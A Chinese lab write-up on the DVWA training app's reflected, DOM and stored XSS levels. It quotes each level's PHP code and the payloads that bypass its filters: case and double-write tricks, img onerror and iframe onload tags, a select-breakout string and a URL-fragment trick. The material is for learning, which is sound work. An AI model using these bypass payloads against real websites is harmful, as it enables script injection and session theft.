前言

关于XSS基础内容请查看:https://www.cnblogs.com/xhds/p/12239527.html

实验平台采用DWVA  v1.10

XSS(Reflected)反射性XSS漏洞

XSS( Reflected)

Vulnerability: Reflected Cross Site Scripting (XSS)

1.low

<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

分析代码 不存在任何过滤直接输入:<script>alert("xiaohua2020");</script>

成功弹窗!

2.medium

<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
//这里有个str_replace()函数 匹配<script>如果匹配到则替换成空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
}
?>
看代码前先学一个函数
str_replace(find,replace,string,count)返回带有替换值的字符串或数组。
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。对替换数进行计数的变量。
那么我们思考过滤了直接输入<script>alert("xiaohua2020");</script> 是不行的 所以思考怎么才能绕过这个过滤
1.大小写绕过
<Script>alert("xiaohua2020");</script>
2.双写绕过
<scrip<script>t>alert(/xss/)</script>
3.使用别的标签绕过
<img src=0 onerror=alert(/xss1/)>

3.high

<?php 

header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 注意看这里preg_replace()进行模式匹配过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
} ?>

preg_replace()函数执行一个正则表达式的搜索和替换

利用非script标签绕过

<img src=0 onerror=alert(/xss1/)>

<iframe onload=alert("111")></iframe>

4.impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//利用htmlspecialchars()函数进行HTML诗体过滤
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>

xss(DOM) dom型XSS

XSS(DOM)

Vulnerability: DOM Based Cross Site Scripting (XSS)

1.LOW

<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

不存在任何过滤直接利用!

payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert("xiaohua2020");</script>

成功出发弹窗!

2.medium

 1 <?php
2
3 if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
4 $default = $_GET['default'];
5   //这里有个过滤stripos()在$defautl中查找<script如果查找到了执行if里面的内容
6 if (stripos ($default, "<script") !== false) {
7 header ("location: ?default=English");
8 exit;
9 }
10 }
11
12 ?>

这段代码首先4行接收数据到$default中,重点在stripos()这个函数 这个函数在$default中查找<script如果查找到了返回真 真!=false 则执行if里面的内容 否则不执行 我们要想办法使stripos返回真而且我们的恶意代码还能植入进去!

stripos(string,find,start)函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
既然过滤了script我们可以用别的标签
<img src=0 onerror=alert(/xss1/)>
payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<img src=0 onerror=alert(/xss1/)>
然而跟我们的预期不一样没有弹出 我们代码审查下发现我们植入的恶意代码被放在option标签里卖弄的额value里面了所以没有出发 所以我们继续要构造新的语法

构造过程
构造语法试了"></option><img src=0 onerror=alert(/xss1/)><option value=" 不行因为泵在select标签里面执行所以我们要重新构造跳出select标签
"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="
payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default="></option></select><img src=0 onerror=alert(/xss1/)><select><option value="
成功弹出弹窗!

3.high

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
} ?>

这里设置了白名单过滤仅让case里面的内容通过

我们可以利用#绕过url中有一个字符为# #在php中为注释字符所以注释后面的数据不会发送给服务器端,从而绕过服务端过滤构造语法未为:

#"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="

payload:http://101.201.65.164/DVWA/vulnerabilities/xss_d/?default=French#"></option></select><img src=0 onerror=alert(/xss1/)><select><option value="

成功弹窗!

  3.impossible

<?php

# Don't need to do anything, protction handled on the client side
#后端不要做任何事保持在客户端处理即可
?>

xss(Stored)存储型XSS漏洞

xss(Stored)

Vulnerability: Stored Cross Site Scripting (XSS)

1.LOW

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // stripslashes()删除$message中的反斜杠
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

输入 <script>alert("xiaohua2020");</script>

成功弹窗!

2.Medium

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // addslashes()函数为预定义符号加斜杠 strip_tages()剥取html、PHP等标签

$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

看到$message被多次过滤而$name值未过滤我们可以通过$name传递,前端限制了$name长度我们可以通过审查元素增加它的长度

提交得到弹窗!

3.high

<?php 

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); //

    //strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

    //addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

    $message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

//htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
   $message = htmlspecialchars( $message ); // preg_replace()过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
} ?>

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

上面三个函数都是对$messag进行过滤

preg_replace()正则匹配对$name进行过滤 所以我们想办法绕过$name这边的过滤就OK

3.impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // message部分输入经过stripslashes()删除反斜杠 htmlspecialchars()html实体两大过滤
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // name部分也经过strpslashes()htmlspecialchars()两大过滤
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>

推荐优秀的类似文章

新手科普 | 通过DVWA学习XSS(盗取cookie)

https://www.freebuf.com/articles/web/157953.html

DWVA-XSS部分练手闯关的更多相关文章

  1. XSS Challenges闯关笔记

    前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...

  2. 某xss挑战赛闯关笔记

    0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...

  3. XSS闯关游戏准备阶段及XSS构造方法

    请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批 ...

  4. 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...

  5. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  6. 《JavaScript 闯关记》

    为何写作此课程 stone 主要负责基于 Web 的企业内部管理系统的开发,虽然能够熟练地使用 JavaScript,但随着对 JavaScript 的理解越来越深,才发现自己尚未掌握其精髓. 201 ...

  7. Python:黑板课爬虫闯关第一关

    近日发现了[黑板课爬虫闯关]这个神奇的网页,练手爬虫非常的合适 地址:http://www.heibanke.com/lesson/crawler_ex00/ 第一关非常的简单 get 请求网址,在响 ...

  8. Kinect+unity 实现体感格斗闯关小游戏

    文章目录 项目地址 1 项目概况 1.1 项目简介 1.2 项目目的 1.3 主要技术 2 设计 2.1 基本概念 2.2 框架 2.3 算法 2.4 模型 2.5 调查问卷 3 实现 3.1 技术难 ...

  9. 网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信 ...

随机推荐

  1. .Net Mvc学习——ASP.NET MVC中常用的ActionResult类型

    一.定义 MVC中ActionResult是Action的返回结果.ActionResult 有多个派生类,每个子类功能均不同,并不是所有的子类都需要返回视图View,有些直接返回流,有些返回字符串等 ...

  2. node的function函数和路由代码的小例子

    1.node事件循环 事件: const events=require("events"); emt=new events.EventEmitter(); function eve ...

  3. Vue.js 3.0搭配.NET Core写一个牛B的文件上传组件

    在开发Web应用程序中,文件上传是经常用到的一个功能. 在Jquery时代,做上传功能,一般找jQuery插件就够了,很少有人去探究上传文件插件到底是怎么做的. 简单列一下我们要做的技术点和功能点 使 ...

  4. pyside2安装避坑

    cmd 输入 pip install PySide2 官方下载太慢 清华源: pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pysid ...

  5. 线程池SingleThreadPool

    只有一个核心线程,当被占用时,其他的任务需要进入队列等待 public class MainActivity extends AppCompatActivity { @Override protect ...

  6. javascript模块化(简)

    这里书写一个个人理解以及整理的东西,关于模块化以及ES6语法推荐大家阅读阮一峰老师的ES6入门教程 地址:https://es6.ruanyifeng.com/ 比较散,请见谅 以前的js是没有模块化 ...

  7. Pytorch中cudnn版本查询

    问题: Disable or able cudnn,查询版本. Disable cudnn for batch_norm: (See: @Microsoft / human-pose-estimati ...

  8. Redis基础(三)Redis持久化:RDB与AOF

    什么是Redis持久化? Redis是键值对的内存数据库,它将数据存储在内存里.客户端发送命令到服务器,再由服务器到内存里查找数据. 一旦Redis服务器进程退出,存储在内存里的数据就会丢失. 为了解 ...

  9. 【总结】java基础

    一.基础语法 1.数据类型 (1)基本数据类型:byte(1字节,-27~27-1),short(2字节,-215~215-1),int(4字节,-231~231-1),long(8字节,-263~2 ...

  10. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...